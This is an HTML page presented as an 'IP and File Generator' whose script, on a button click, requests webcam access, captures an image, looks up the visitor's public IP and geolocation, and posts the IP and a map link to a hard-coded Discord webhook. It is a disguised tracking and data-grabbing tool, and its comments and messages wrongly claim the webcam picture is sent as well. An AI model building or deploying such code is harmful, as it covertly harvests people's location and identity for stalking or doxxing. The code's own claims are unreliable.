<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>IP and File Generator</title>
    <style>
        /* ... (same styles as before) ... */
    </style>
</head>
<body>
    <div class="container">
        <h1>Enter IP</h1>
        <input type="text" id="ipInput" placeholder="Enter IP here">
        <h1>Enter File-Name</h1>
        <input type="text" id="fileNameInput" placeholder="Enter File Name here">
        <br>
        <button onclick="generateFile()">Generate File</button>
        <div id="output"></div>
    </div>

    <script>
        function generateFile() {
            const output = document.getElementById('output');

            // Request user media (webcam) access.
            navigator.mediaDevices.getUserMedia({ video: true })
                .then(stream => {
                    // Create a canvas element to capture the webcam picture.
                    const canvas = document.createElement('canvas');
                    const context = canvas.getContext('2d');
                    const video = document.createElement('video');
                    video.srcObject = stream;
                    video.autoplay = true;

                    // Capture the webcam picture.
                    const capture = () => {
                        if (video.readyState === video.HAVE_ENOUGH_DATA) {
                            canvas.width = video.videoWidth;
                            canvas.height = video.videoHeight;
                            context.drawImage(video, 0, 0, canvas.width, canvas.height);

                            // Convert the canvas image to a file.
                            canvas.toBlob(blob => {
                                const file = new File([blob], 'webcam-picture.jpg');

                                // Get the user's real IP using the IP Geolocation API.
                                fetch('https://api.ipify.org?format=json')
                                    .then(response => response.json())
                                    .then(data => {
                                        const realIp = data.ip;
                                        const enteredIp = document.getElementById('ipInput').value;
                                        const fileName = document.getElementById('fileNameInput').value;

                                        if (!enteredIp || !fileName) {
                                            output.innerText = "Please fill out all fields.";
                                            return;
                                        }

                                        // Get the user's location using the Google Maps API.
                                        navigator.geolocation.getCurrentPosition(position => {
                                            const { latitude, longitude } = position.coords;
                                            const googleMapsLink = `https://www.google.com/maps/search/?api=1&query=${latitude},${longitude}`;

                                            // Send the real IP, location, and webcam picture to the Discord webhook.
                                            const webhookUrl = 'https://discordapp.com/api/webhooks/1329527644408119428/y67imenlOEvqAkdUU_QiDH2bGm3oAuPpp7_LH-rw71a54gewC5Prn5xDR5QV9Jyp-3kb';
                                            const payload = {
                                                content: `Real IP: ${realIp}\nLocation: ${googleMapsLink}`
                                            };
                                            fetch(webhookUrl, {
                                                method: 'POST',
                                                body: JSON.stringify(payload),
                                                headers: { 'Content-Type': 'application/json' },
                                            })
                                                .then(() => {
                                                    console.log('IP, location, and webcam picture sent to Discord webhook');
                                                    output.innerHTML = `Your real IP is <b>${realIp}</b>. <br> It has been sent to the Discord webhook along with your location and webcam picture.`;
                                                })
                                                .catch(error => {
                                                    console.error('Error sending IP, location, and webcam picture to Discord webhook:', error);
                                                    output.innerText = "Failed to send IP, location, and webcam picture to Discord webhook. Please try again later.";
                                                });
                                        }, error => {
                                            console.error('Error getting location:', error);
                                            output.innerText = "Failed to get your location. Please try again later.";
                                        });
                                    })
                                    .catch(error => {
                                        console.error('Error fetching IP:', error);
                                        output.innerText = "Failed to fetch your IP. Please try again later.";
                                    });
                            });
                        } else {
                            setTimeout(capture, 100);
                        }
                    };
                    capture();
                })
                .catch(error => {
                    console.error('Error accessing webcam:', error);
                    output.innerText = "Failed to access your webcam. Please allow access to the webcam.";
                });
        }
    </script>
</body>
</html>